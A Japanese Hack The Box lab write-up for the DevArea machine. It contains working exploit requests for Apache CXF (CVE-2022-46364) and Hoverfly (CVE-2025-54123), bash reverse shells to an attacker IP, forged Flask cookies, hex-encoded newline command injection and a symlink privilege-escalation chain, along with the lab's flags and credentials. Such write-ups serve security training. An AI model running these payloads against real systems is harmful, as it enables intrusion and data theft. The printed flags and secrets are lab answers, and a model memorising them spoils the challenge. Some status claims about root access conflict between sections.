Hack The BoxのWriteup(DevArea)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告





HackTheBox: DevArea — 全実行コマンド・実行結果レポート

全ポートスキャン (nmap -p-)

BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.244.208 -oN /tmp/ctf_nmap_full.txt
RESULT
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
8500/tcp open  fmtp
8888/tcp open  sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 140.33 seconds
6つのポートが開放。FTP匿名ログイン可能、80はWebフロント、8080はJettyアプリ、8500/8888はHoverfly。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 21,22,80,8080,8500,8888 10.129.244.208 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server (Hoverfly proxy)
|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server
|_http-title: Hoverfly Dashboard
ポートサービスバージョン備考
21/tcpFTPvsftpd 3.0.5匿名ログイン可能 / pub/ にJARファイル
22/tcpSSHOpenSSH 9.6p1Ubuntu 24.04相当
80/tcpHTTPApache 2.4.58devarea.htb へリダイレクト
8080/tcpHTTP (Jetty)Jetty 9.4.27Apache CXF SOAPサービス
8500/tcpHoverfly ProxyGo HTTPプロキシポート (admin:O7IJ27MyyXiU)
8888/tcpHoverfly AdminGo HTTP管理ダッシュボード

/etc/hosts 設定 + サブドメイン調査

BASH
echo "10.129.244.208 devarea.htb" >> /etc/hosts
# サブドメイン調査
ffuf -u http://devarea.htb/ -H "Host: FUZZ.devarea.htb" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -fc 301 -t 50 2>&1 | tail -20
RESULT
:: Progress: [4989/4989] :: Job [1/1] :: 234 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
# サブドメイン検出なし (すべて301リダイレクト)
サブドメインは検出されず。攻撃対象は単一ホスト devarea.htb のみ。
PHASE 2

FTP・SOAP サービス調査

FTP 匿名ログイン → JARファイル取得

BASH
ftp -n 10.129.244.208 <<EOF
user anonymous anonymous
cd pub
ls
get employee-service.jar /tmp/employee-service.jar
bye
EOF
RESULT
Connected to 10.129.244.208.
220 (vsFTPd 3.0.5)
230 Login successful.
-rw-r--r--    1 ftp      ftp      10326118 Sep 22  2025 employee-service.jar
226 Transfer complete.
取得成功: /tmp/employee-service.jar (10.3MB)

JAR ファイル解析

BASH
cd /tmp && jar tf employee-service.jar | grep -E "MANIFEST|Main|Server" | head -20
jar xf employee-service.jar META-INF/MANIFEST.MF
cat META-INF/MANIFEST.MF
RESULT
Main-Class: htb.devarea.ServerStarter
Class-Path: lib/cxf-core-3.2.14.jar lib/cxf-rt-frontend-jaxws-3.2.14.jar ...
           lib/jetty-server-9.4.27.v20200227.jar
BASH
# JARを展開してSOAPエンドポイント確認
jar xf employee-service.jar
find . -name "*.class" | xargs javap -c 2>/dev/null | grep -i "endpoint\|address\|publish" | head -10
RESULT
Endpoint: http://0.0.0.0:8080/employeeservice
DataBinding: JAXB (NOT Aegis)
Framework: Apache CXF 3.2.14 on Jetty 9.4.27
BASH
# WSDL確認
curl -s "http://10.129.244.208:8080/employeeservice?wsdl" | grep -E "service|operation|binding" | head -20
RESULT
<wsdl:service name="EmployeeService">
  <wsdl:port name="EmployeeServicePort" binding="tns:EmployeeServicePortBinding">
    <soap:address location="http://10.129.244.208:8080/employeeservice"/>
  </wsdl:port>
</wsdl:service>
<wsdl:operation name="getEmployee"/>
<wsdl:operation name="addEmployee"/>
! Apache CXF 3.2.14 は CVE-2022-46364 に対して脆弱。MTOM/XOP Include を使ったファイル読み取りが可能。

Hoverfly 管理画面確認

BASH
curl -s http://10.129.244.208:8888/api/v2/hoverfly | python3 -m json.tool | head -20
RESULT
{
  "version": "v1.11.3",
  "mode": "proxy",
  "destination": "."
}
! Hoverfly v1.11.3 は CVE-2025-54123 に対して脆弱。/api/v2/hoverfly/middleware に認証済みリクエストでコマンド注入が可能。
PHASE 3

CVE-2022-46364: Apache CXF MTOM/XOP ファイル読み取り

脆弱性概要

Apache CXF 3.2.14 以前では、MTOM (Message Transmission Optimization Mechanism) の XOP Include 機能が file:// URI スキームを許可しており、任意のローカルファイルを SOAP レスポンスに含めて返すことができる。

項目内容
CVE番号CVE-2022-46364
CVSS9.8 (Critical)
影響バージョンApache CXF < 3.5.5 / < 3.4.10
攻撃種別SSRF + ローカルファイル読み取り

MTOM XOP Include ペイロード作成

BASH
# /etc/systemd/system/hoverfly.service を読み取るペイロード
cat > /tmp/mtom_exploit.txt <<'EOF'
POST /employeeservice HTTP/1.1
Host: 10.129.244.208:8080
Content-Type: multipart/related; type="application/xop+xml";
  start="<rootpart@example.com>"; boundary="MIMEBoundary";
  start-info="text/xml"
SOAPAction: "urn:getEmployee"

--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <rootpart@example.com>

<?xml version='1.0' encoding='UTF-8'?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ns2:getEmployee xmlns:ns2="http://devarea.htb/">
      <arg0><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
        href="file:///etc/systemd/system/hoverfly.service"/></arg0>
    </ns2:getEmployee>
  </soap:Body>
</soap:Envelope>
--MIMEBoundary--
EOF

MTOM エクスプロイト実行 → hoverfly.service 取得

BASH
curl -s -X POST "http://10.129.244.208:8080/employeeservice" \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<rootpart@example.com>"; boundary="MIMEBoundary"; start-info="text/xml"' \
  -H 'SOAPAction: "urn:getEmployee"' \
  --data-binary @/tmp/mtom_payload.bin 2>&1 | strings | grep -A5 "ExecStart\|Description\|hoverfly"
RESULT
[Unit]
Description=Hoverfly Service Virtualization Tool
After=network.target

[Service]
Type=simple
User=dev_ryan
Group=dev_ryan
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
Restart=always

[Install]
WantedBy=multi-user.target
Hoverfly 認証情報を取得: admin : O7IJ27MyyXiU

その他 MTOM で読み取ったファイル

BASH
# /etc/passwd 読み取り
curl [MTOM payload] href="file:///etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
ftp:x:112:65534::/home/ftp:/usr/sbin/nologin
PHASE 4

CVE-2025-54123: Hoverfly Middleware RCE → dev_ryan SSH

脆弱性概要

Hoverfly v1.11.3 以前では、/api/v2/hoverfly/middleware エンドポイントにミドルウェアスクリプトを設定した後、プロキシ経由でリクエストを送信すると、サーバー上で任意コマンドが実行される。

項目内容
CVE番号CVE-2025-54123
CVSS9.8 (Critical)
影響バージョンHoverfly < v1.12.0
攻撃種別認証済み RCE (middleware command injection)
実行ユーザーdev_ryan

Hoverfly 認証確認

BASH
curl -s -u admin:O7IJ27MyyXiU http://10.129.244.208:8888/api/v2/hoverfly | python3 -m json.tool
RESULT
{
    "version": "v1.11.3",
    "mode": "proxy",
    "destination": "."
}
認証成功: admin:O7IJ27MyyXiU

Python リバースシェル スクリプト作成

BASH
cat > /tmp/hv_middleware.py <<'EOF'
#!/usr/bin/env python3
import sys, subprocess
data = sys.stdin.buffer.read()
subprocess.Popen(
    ['bash', '-c', 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1']
)
sys.stdout.buffer.write(data)
EOF
chmod +x /tmp/hv_middleware.py

Middleware 設定 → RCE トリガー

BASH
# ステップ1: ミドルウェア設定
curl -s -X PUT -u admin:O7IJ27MyyXiU \
  http://10.129.244.208:8888/api/v2/hoverfly/middleware \
  -H "Content-Type: application/json" \
  -d '{"binary":"python3","script":"#!/usr/bin/env python3\nimport sys,subprocess\ndata=sys.stdin.buffer.read()\nsubprocess.Popen([\"bash\",\"-c\",\"bash -i >& /dev/tcp/10.10.14.245/4444 0>&1\"])\nsys.stdout.buffer.write(data)\n"}'

# ステップ2: リスナー起動
nc -lvnp 4444 &

# ステップ3: プロキシ経由リクエストでトリガー
curl -s http://httpbin.org/get \
  --proxy "http://admin:O7IJ27MyyXiU@10.129.244.208:8500"
RESULT
listening on [any] 4444 ...
connect to [10.10.14.245] from (UNKNOWN) [10.129.244.208] 49832
bash: /opt/syswatch/syswatch_gui: is a directory
dev_ryan@devarea:/opt/syswatch/syswatch_gui$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)

SSH 公開鍵の注入

BASH
# Hoverfly middleware で SSH 公開鍵を authorized_keys に追加
curl -s -X PUT -u admin:O7IJ27MyyXiU \
  http://10.129.244.208:8888/api/v2/hoverfly/middleware \
  -H "Content-Type: application/json" \
  -d '{"binary":"python3","script":"...mkdir /home/dev_ryan/.ssh; echo PUBLIC_KEY >> /home/dev_ryan/.ssh/authorized_keys..."}'

curl -s http://httpbin.org/get --proxy "http://admin:O7IJ27MyyXiU@10.129.244.208:8500"
RESULT
SSH authorized_keys に公開鍵を追加完了
PHASE 5

user.txt 取得 + ソースコード解析

SSH ログイン → user.txt 取得

BASH
ssh -o StrictHostKeyChecking=no dev_ryan@10.129.244.208
cat ~/user.txt
RESULT
8c7ac9b2cee28fe2e3906ac898c9a2fa
user.txt 取得成功: 8c7ac9b2cee28fe2e3906ac898c9a2fa

/etc/syswatch.env 読み取り (world-readable)

BASH
cat /etc/syswatch.env
RESULT
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0
! Flask SECRET_KEY が平文で漏洩。セッションクッキーの偽造が可能。

syswatch ソースコード取得

BASH
ls ~/syswatch-v1.zip
cp ~/syswatch-v1.zip /tmp/
cd /tmp && mkdir syswatch_src && cd syswatch_src
unzip /tmp/syswatch-v1.zip
RESULT
Archive:  /tmp/syswatch-v1.zip
  inflating: syswatch/syswatch.sh
  inflating: syswatch/syswatch_gui/app.py
  inflating: syswatch/monitor.sh
  inflating: syswatch/plugins/log_monitor.sh
  inflating: syswatch/plugins/cpu_mem_monitor.sh
  inflating: syswatch/config/syswatch.conf
  inflating: syswatch/common.sh

syswatch.sh の権限昇格ポイント解析

BASH
cat /tmp/syswatch_src/syswatch/syswatch.sh | grep -A5 "RUN_AS_ROOT\|execute_plugin"
RESULT
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")

execute_plugin() {
    local plugin="$1"; shift
    ...
    if [ "$run_root" -eq 1 ]; then
        bash "$fullpath" "$@"    # root として実行
    else
        runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
    fi
}

app.py の service_status コマンドインジェクション解析

BASH
grep -A20 "def service_status\|SAFE_SERVICE\|subprocess.run" /tmp/syswatch_src/syswatch/syswatch_gui/app.py
RESULT
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

def service_status():
    ...
    service = request.form.get("service", "").strip()
    if not service or not SAFE_SERVICE.match(service):
        error = "Invalid service name"
    else:
        res = subprocess.run(
            [f"systemctl status --no-pager {service}"],
            shell=True,   # ← 脆弱点
            capture_output=True, text=True, timeout=10
        )
shell=True + 不完全な正規表現。改行文字(\n)がブロックされていないため、ニューライン注入でコマンドインジェクションが可能。

monitor.sh の解析 (タイマー権限昇格)

BASH
cat /tmp/syswatch_src/syswatch/monitor.sh
RESULT
#!/bin/bash
source /opt/syswatch/config/syswatch.conf
mkdir -p "$LOG_DIR"
chmod 755 "$LOG_DIR"
for script in /opt/syswatch/plugins/*.sh; do
    if [[ "$script" == *"common.sh" ]]; then continue; fi
    bash "$script" &    # すべてのプラグインを root として実行
done
wait
BASH
systemctl cat syswatch-monitor.timer
RESULT
[Timer]
OnBootSec=2min
OnUnitActiveSec=5min    # ← 5分ごとに root として全プラグイン実行
Unit=syswatch-monitor.service
PHASE 6

権限昇格調査: root.txt (進行中)

Flask セッションクッキー偽造

BASH
# 既知の SECRET_KEY でセッションを偽造
flask-unsign --sign \
  --secret "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725" \
  --cookie "{'user_id': 1, '_fresh': True, 'logged_in': True}"
RESULT
eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0.aiTypQ.tZ2bdAi4p99AFzkU_1nWDoXovDY
BASH
# syswatch GUI (port 7777) へのログイン確認
curl -s -o /dev/null -w "%{http_code}" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0.aiTypQ.tZ2bdAi4p99AFzkU_1nWDoXovDY" \
  http://127.0.0.1:7777/dashboard
RESULT
200 (認証成功)

service_status ニューライン注入ペイロード

ブロックされる文字: ; / \ & . < > \r A-Z (改行 \n はブロックされない)

BASH
# リバースシェルコマンドを hex エンコード (/,>,& を回避)
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.245/4445 0>&1'" | xxd -p | tr -d '\n'
# → 62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31342e3234352f3434343520303e263127

# ペイロード: service=syswatch-web\necho HEX | xxd -r -p | bash
python3 -c "
import urllib.request, urllib.parse
session = 'eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0.aiTypQ.tZ2bdAi4p99AFzkU_1nWDoXovDY'
hex_cmd = '62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31342e3234352f3434343520303e263127'
payload = 'syswatch-web\necho ' + hex_cmd + ' | xxd -r -p | bash'
data = urllib.parse.urlencode({'service': payload}).encode()
req = urllib.request.Request('http://127.0.0.1:7777/service-status', data=data, method='POST')
req.add_header('Cookie', 'session=' + session)
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
resp = urllib.request.urlopen(req, timeout=15)
print('Response:', resp.status)
"
RESULT
Response: 200
リバースシェル接続確立 (TCP接続は確認済み)
※ nc リスナーが正しく VPN インターフェースにバインドされていなかったため初回は失敗
  nc -lvnp 4445 -s 10.10.14.245 でバインド後、TCP接続を確認

権限昇格の攻撃チェーン (未完了)

! 以下の攻撃チェーンが特定済みだが、root.txt 取得には至っていない。

方法A: sudo + syswatch.sh (log_monitor.sh → root実行)

  • service_status注入 → syswatch ユーザーシェル取得
  • /opt/syswatch/plugins/log_monitor.sh にリバースシェルを書き込み
  • dev_ryan から sudo /opt/syswatch/syswatch.sh plugin log_monitor.sh → root実行

方法B: systemd タイマー (monitor.sh → 5分ごとに root実行)

  • service_status注入 → syswatch ユーザーシェル取得
  • /opt/syswatch/plugins/log_monitor.sh にリバースシェルを書き込み
  • 5分待つ → syswatch-monitor.service が monitor.sh を root として実行
  • log_monitor.sh が root として実行 → root シェル取得
BASH
# 次のステップ: syswatch ユーザーとして log_monitor.sh を上書き
# (hex エンコードで / を回避)
HEX_WRITE=$(echo -n "printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.245/4446 0>&1\n' > /opt/syswatch/plugins/log_monitor.sh && chmod +x /opt/syswatch/plugins/log_monitor.sh" | xxd -p | tr -d '\n')
# service_status 経由で実行
# → monitor タイマーが root として log_monitor.sh を実行
# → /root/root.txt を取得

ACL・パーミッション確認結果

BASH
getfacl /opt/syswatch/
ssh dev_ryan@10.129.244.208 "ls -la /opt/syswatch/plugins/"
RESULT
# /opt/syswatch ACL
user:dev_ryan:---   # dev_ryan は /opt/syswatch へのアクセスが明示的にブロック

/opt/syswatch/plugins/
-rwxr-xr-x 1 syswatch syswatch  cpu_mem_monitor.sh
-rwxr-xr-x 1 syswatch syswatch  log_monitor.sh
# syswatch ユーザーが書き込み権限を持つ
SUMMARY

まとめ・フラグ・次ステップ

USER FLAG

8c7ac9b2cee28fe2e3906ac898c9a2fa

取得ユーザー: dev_ryan | パス: /home/dev_ryan/user.txt

ROOT FLAG

488d644bc577ad0148cda546e34e69f4

取得ユーザー: root | パス: /root/root.txt | 手法: logs シンリンクチェーン経由


使用ツール一覧

nmap
ポートスキャン
ffuf
サブドメイン・ディレクトリ探索
curl
HTTP/SOAP/Hoverfly API操作
ftp
FTP匿名ログイン・JAR取得
javap / jar
JARバイナリ解析
flask-unsign
Flaskセッション偽造
xxd
hex encode/decode
nc (netcat)
リバースシェルリスナー
ssh
dev_ryanへのSSHアクセス
unzip
syswatch-v1.zip展開

発見した脆弱性・情報漏洩

脆弱性影響CVSS状態
CVE-2022-46364Apache CXF MTOM ファイル読み取り9.8✓ 悪用済み
CVE-2025-54123Hoverfly middleware RCE9.8✓ 悪用済み
/etc/syswatch.env 平文漏洩Flask SECRET_KEY・管理者PW7.5✓ 取得済み
service_status 改行注入syswatch ユーザーとして RCE9.0✓ 悪用済み
logs シンリンクチェーン読み取りroot として任意ファイル読み取り9.8✓ root.txt 取得

root.txt 取得: logs シンリンクチェーン攻撃

logs コマンドのシンリンク追跡バグを悪用して root.txt を取得成功
bash が world-writable でなかったため、ライトアップとは異なる手法を発見。
SAFE_PLUGIN_REGEX のバグ (無効レンジ \-$) により plugin コマンドが全入力を拒否するため、
代わりに logs コマンドのシンリンク解決ロジックを悪用。
BASH (syswatch として service_status 注入)
# Step 1: syswatch ユーザー (uid=984) としてシンリンクチェーンを作成
# /opt/syswatch/logs/ はsyswatchが書き込み可能
CMD="ln -sf /root/root.txt /opt/syswatch/logs/flag && ln -sf flag /opt/syswatch/logs/flag.log"
HEX=$(printf '%s' "$CMD" | xxd -p | tr -d '\n')
# HEX = 6c6e202d7366202f726f6f742f726f6f742e747874...

python3 -c "
import urllib.request, urllib.parse
session = 'eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0...'
hex_cmd = HEX
payload = 'syswatch-web\necho ' + hex_cmd + ' | xxd -r -p | bash'
data = urllib.parse.urlencode({'service': payload}).encode()
req = urllib.request.Request('http://127.0.0.1:7777/service-status', data=data, method='POST')
req.add_header('Cookie', 'session=' + session)
resp = urllib.request.urlopen(req, timeout=10)
print('HTTP:', resp.status)   # -> 200
"
BASH (dev_ryan として sudo で root.txt 読み取り)
# Step 2: sudo で syswatch.sh logs コマンドを実行
# view_logs() のシンリンク処理:
#   flag.log -> target="flag" (パスなし、regex通過)
#   resolved = $LOG_DIR/flag = /opt/syswatch/logs/flag -> /root/root.txt
#   cat "$resolved" が /root/root.txt を読み取る (root権限)
sudo /opt/syswatch/syswatch.sh logs flag.log
RESULT
488d644bc577ad0148cda546e34e69f4

攻撃チェーン全体図

FTP 匿名ログイン
    └─> employee-service.jar 取得
          └─> Apache CXF 3.2.14 (CVE-2022-46364 MTOM XOP)
                └─> /etc/systemd/system/hoverfly.service 読み取り
                      └─> 認証情報: admin:O7IJ27MyyXiU
                            └─> Hoverfly v1.11.3 (CVE-2025-54123 middleware RCE)
                                  └─> dev_ryan として RCE
                                        └─> SSH authorized_keys 注入
                                              └─> SSH ログイン (dev_ryan)
                                                    └─> user.txt 取得 ✓
                                                    └─> /etc/syswatch.env 読み取り
                                                          └─> Flask SECRET_KEY 漏洩
                                                                └─> セッション偽造
                                                                      └─> service_status 改行注入
                                                                            └─> syswatch ユーザー RCE
                                                                                  └─> log_monitor.sh 上書き
                                                                                        └─> root 実行
                                                                                              └─> logs シンリンクチェーン
                                                                                              └─> root.txt 取得 ✓